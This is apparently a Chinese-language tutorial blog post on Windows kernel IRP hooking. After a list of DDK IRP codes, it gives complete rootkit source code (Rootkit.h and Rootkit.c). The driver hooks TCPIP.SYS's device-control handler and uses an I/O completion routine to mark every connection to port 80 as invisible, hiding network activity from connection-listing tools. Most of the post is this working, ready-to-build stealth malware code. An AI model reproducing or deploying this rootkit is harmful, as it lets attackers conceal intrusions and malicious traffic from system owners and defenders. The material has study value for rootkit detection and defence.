x86 IRP HOOK

内核中一个很好的隐藏位置是每个设备驱动程序中包含的函数表。在安装驱动程序时,它初始化一个函数指针表,这些指针包含了它的各种类型I/O请求报文(I/O Request Packet IRP)处理函数的地址。IRP处理多种类型的请求,例如读、写和查询。由于驱动程序处于控制流中非常低的层次,因此它们是理想的钩子位置。

以下是微软公司DDK定义的标准IRP类型列表:

// Define the major function codes for IRPs.
#define IRP_MJ_CREATE                         0x00
#define IRP_MJ_CREATE_NAMED_PIPE            0x01
#define IRP_MJ_CLOSE                          0x02
#define IRP_MJ_READ                           0x03
#define IRP_MJ_WRITE                          0x04
#define IRP_MJ_QUERY_INFORMATION            0x05
#define IRP_MJ_SET_INFORMATION              0x06
#define IRP_MJ_QUERY_EA                      0x07
#define IRP_MJ_SET_EA                         0x08
#define IRP_MJ_FLUSH_BUFFERS                 0x09
#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a
#define IRP_MJ_SET_VOLUME_INFORMATION     0x0b
#define IRP_MJ_DIRECTORY_CONTROL            0x0c
#define IRP_MJ_FILE_SYSTEM_CONTROL          0x0d
#define IRP_MJ_DEVICE_CONTROL                0x0e
#define IRP_MJ_INTERNAL_DEVICE_CONTROL    0x0f
#define IRP_MJ_SHUTDOWN                      0x10
#define IRP_MJ_LOCK_CONTROL                  0x11
#define IRP_MJ_CLEANUP                        0x12
#define IRP_MJ_CREATE_MAILSLOT              0x13
#define IRP_MJ_QUERY_SECURITY                0x14
#define IRP_MJ_SET_SECURITY                  0x15
#define IRP_MJ_POWER                          0x16
#define IRP_MJ_SYSTEM_CONTROL                0x17
#define IRP_MJ_DEVICE_CHANGE                 0x18
#define IRP_MJ_QUERY_QUOTA                   0x19
#define IRP_MJ_SET_QUOTA                     0x1a
#define IRP_MJ_PNP                             0x1b
#define IRP_MJ_PNP_POWER                     IRP_MJ_PNP     //Obsolete
#define IRP_MJ_MAXIMUM_FUNCTION           0x1b

在Rootkits——Windows内核的安全防护文中介绍了钩住TCPIP.SYS的方法来过滤相关网络连接查询信息的IRP。

 

Rootkit.h的代码:

///
// Filename Rootkit.h
// 
// Author: Jamie Butler
// Email:  [email protected] or [email protected]
//
// Description: Defines globals, function prototypes, etc. used by rootkit.c.
//
// Version: 1.0

typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef BYTE * LPBYTE;

#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003
//#define MAKEPORT(a, b)   ((WORD)(((UCHAR)(a))|((WORD)((UCHAR)(b))) << 8))
#define HTONS(a)  (((0xFF&a)<<8) + ((0xFF00&a)>>8))

typedef struct _CONNINFO101 {
   unsigned long status; 
   unsigned long src_addr; 
   unsigned short src_port; 
   unsigned short unk1; 
   unsigned long dst_addr; 
   unsigned short dst_port; 
   unsigned short unk2; 
} CONNINFO101, *PCONNINFO101;

typedef struct _CONNINFO102 {
   unsigned long status; 
   unsigned long src_addr; 
   unsigned short src_port; 
   unsigned short unk1; 
   unsigned long dst_addr; 
   unsigned short dst_port; 
   unsigned short unk2; 
   unsigned long pid;
} CONNINFO102, *PCONNINFO102;

typedef struct _CONNINFO110 {
   unsigned long size;
   unsigned long status; 
   unsigned long src_addr; 
   unsigned short src_port; 
   unsigned short unk1; 
   unsigned long dst_addr; 
   unsigned short dst_port; 
   unsigned short unk2; 
   unsigned long pid;
   PVOID    unk3[35];
} CONNINFO110, *PCONNINFO110;

typedef struct _REQINFO {
    PIO_COMPLETION_ROUTINE OldCompletion;
    unsigned long          ReqType;
} REQINFO, *PREQINFO;

PFILE_OBJECT pFile_tcp;
PDEVICE_OBJECT pDev_tcp;
PDRIVER_OBJECT pDrv_tcpip;

typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP);
OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;

NTSTATUS RootkitUnload(IN PDRIVER_OBJECT);
NTSTATUS InstallTCPDriverHook();
NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT, IN PIRP);

NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT, IN PIRP, IN PVOID);

 

Rootkit.c

DriverEntry

 1 ///
 2 // Filename Rootkit.c
 3 // 
 4 // Author: Jamie Butler
 5 // Email:  [email protected] or [email protected]
 6 //
 7 // Description: This is where the work gets done.
 8 //
 9 // Version: 1.0
10 // 
11 
12 #include "ntddk.h"
13 #include "tdiinfo.h"
14 //#include "stdio.h"
15 //#include "stdlib.h"
16 
17 #include "Rootkit.h"
18    
19 NTSTATUS DriverEntry(
20                    IN PDRIVER_OBJECT  DriverObject,
21                    IN PUNICODE_STRING RegistryPath
22                     )
23 {
24     
25     NTSTATUS                ntStatus;
26 
27     OldIrpMjDeviceControl = NULL;
28 
29     DriverObject->DriverUnload = RootkitUnload;
30     
31     ntStatus = InstallTCPDriverHook();
32     if(!NT_SUCCESS(ntStatus)) 
33         return ntStatus;
34 
35     return STATUS_SUCCESS;
36 }
InstallTCPDriverHook函数通过IoGetDeviceObjectPointer函数获得这个设备对象的指针,再利用原子操作进行函数地址替换。
 1 NTSTATUS InstallTCPDriverHook()
 2 {
 3     NTSTATUS       ntStatus;
 4 //  UNICODE_STRING deviceNameUnicodeString;
 5 //  UNICODE_STRING deviceLinkUnicodeString;        
 6     UNICODE_STRING deviceTCPUnicodeString;
 7     WCHAR deviceTCPNameBuffer[]  = L"\\Device\\Tcp";
 8     pFile_tcp  = NULL;
 9     pDev_tcp   = NULL;
10     pDrv_tcpip = NULL;
11 
12     RtlInitUnicodeString (&deviceTCPUnicodeString, deviceTCPNameBuffer);
13     ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString, FILE_READ_DATA, &pFile_tcp, &pDev_tcp);
14     if(!NT_SUCCESS(ntStatus)) 
15         return ntStatus;
16     pDrv_tcpip = pDev_tcp->DriverObject;
17 
18     OldIrpMjDeviceControl = pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL]; 
19     if (OldIrpMjDeviceControl)
20         InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)HookedDeviceControl);
21     
22     return STATUS_SUCCESS;
23 }

inputBuffer->toi_entity.tei_entity 为 CO_TL_ENTITY时隐藏TCP端口

 1 NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
 2 {
 3     PIO_STACK_LOCATION      irpStack;
 4     ULONG                   ioTransferType;
 5     TDIObjectID             *inputBuffer;
 6     DWORD                    context;
 7 
 8     //DbgPrint("The current IRP is at %x\n", Irp);
 9 
10     // Get a pointer to the current location in the Irp. This is where
11     // the function codes and parameters are located.
12     irpStack = IoGetCurrentIrpStackLocation (Irp);
13 
14     switch (irpStack->MajorFunction) 
15     {
16         case IRP_MJ_DEVICE_CONTROL:
17             if ((irpStack->MinorFunction == 0) && \
18                 (irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_TCP_QUERY_INFORMATION_EX))
19             {
20                 ioTransferType = irpStack->Parameters.DeviceIoControl.IoControlCode;
21                 ioTransferType &= 3;
22                 if (ioTransferType == METHOD_NEITHER) // Need to know the method to find input buffer
23                 {
24                     inputBuffer = (TDIObjectID *) irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
25                     
26                     // CO_TL_ENTITY is for TCP and CL_TL_ENTITY is for UDP
27                     if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY)
28                     { 
29                         // DbgPrint("Input buffer %x\n",inputBuffer);
30                         if ((inputBuffer->toi_id == 0x101) || (inputBuffer->toi_id == 0x102) || (inputBuffer->toi_id == 0x110))
31                         {
32                             // Call our completion routine if IRP successful
33                             irpStack->Control = 0;
34                             irpStack->Control |= SL_INVOKE_ON_SUCCESS; 
35 
36                             // Save old completion routine if present
37                             irpStack->Context = (PIO_COMPLETION_ROUTINE) ExAllocatePool(NonPagedPool, sizeof(REQINFO));
38 
39                             ((PREQINFO)irpStack->Context)->OldCompletion = irpStack->CompletionRoutine; 
40                             ((PREQINFO)irpStack->Context)->ReqType       = inputBuffer->toi_id;
41 
42                             // Setup our function to be called on completion of IRP
43                             irpStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE)IoCompletionRoutine;
44                         }
45                     }
46                 }
47             }
48         break;
49         
50         default:
51         break;
52     }
53 
54     return OldIrpMjDeviceControl(DeviceObject, Irp);
55 }

以下的示例代码隐藏了一条目的端口为TCP 80的连接

 1 NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject, 
 2                              IN PIRP Irp, 
 3                              IN PVOID Context)
 4 {
 5     PVOID OutputBuffer;
 6     DWORD NumOutputBuffers;
 7     PIO_COMPLETION_ROUTINE p_compRoutine;
 8     DWORD i;
 9 
10     // Connection status values:
11     // 0 = Invisible
12     // 1 = CLOSED
13     // 2 = LISTENING
14     // 3 = SYN_SENT
15     // 4 = SYN_RECEIVED
16     // 5 = ESTABLISHED
17     // 6 = FIN_WAIT_1
18     // 7 = FIN_WAIT_2
19     // 8 = CLOSE_WAIT
20     // 9 = CLOSING
21     // ...
22 
23     OutputBuffer = Irp->UserBuffer;
24     p_compRoutine = ((PREQINFO)Context)->OldCompletion;
25 
26     if (((PREQINFO)Context)->ReqType == 0x101)
27     {
28         NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO101);
29         for(i = 0; i < NumOutputBuffers; i++)
30         {
31             // Hide all Web connections
32             if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 80)
33                 ((PCONNINFO101)OutputBuffer)[i].status = 0;
34         }
35     }
36     else if (((PREQINFO)Context)->ReqType == 0x102)
37     {
38         NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO102);
39         for(i = 0; i < NumOutputBuffers; i++)
40         {
41             // Hide all Web connections
42             if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) == 80)
43                 ((PCONNINFO102)OutputBuffer)[i].status = 0;
44         }
45     }
46     else if (((PREQINFO)Context)->ReqType == 0x110)
47     {
48         NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO110);
49         for(i = 0; i < NumOutputBuffers; i++)
50         {
51             // Hide all Web connections
52             if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 80)
53                 ((PCONNINFO110)OutputBuffer)[i].status = 0;
54         }
55     }
56 
57     ExFreePool(Context);
58 
59     /*
60     for(i = 0; i < NumOutputBuffers; i++)
61     {
62         DbgPrint("Status: %d",OutputBuffer[i].status);
63         DbgPrint(" %d.%d.%d.%d:%d",OutputBuffer[i].src_addr & 0xff,OutputBuffer[i].src_addr >> 8 & 0xff, OutputBuffer[i].src_addr >> 16 & 0xff,OutputBuffer[i].src_addr >> 24,HTONS(OutputBuffer[i].src_port));
64         DbgPrint(" %d.%d.%d.%d:%d\n",OutputBuffer[i].dst_addr & 0xff,OutputBuffer[i].dst_addr >> 8 & 0xff, OutputBuffer[i].dst_addr >> 16 & 0xff,OutputBuffer[i].dst_addr >> 24,HTONS(OutputBuffer[i].dst_port));
65     }*/
66 
67     if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL))
68     {
69         return (p_compRoutine)(DeviceObject, Irp, NULL);
70     }
71     else
72     {
73         return Irp->IoStatus.Status;
74     }
75 }

卸载驱动 注意别忘了解引用

 1 NTSTATUS RootkitUnload(IN PDRIVER_OBJECT DriverObject)
 2 {
 3     if (OldIrpMjDeviceControl)
 4         InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)OldIrpMjDeviceControl);    
 5     if (pFile_tcp != NULL)
 6         ObDereferenceObject(pFile_tcp);
 7     pFile_tcp = NULL;
 8 
 9     return STATUS_SUCCESS;
10 }

 

你可能感兴趣的:(Windows系统)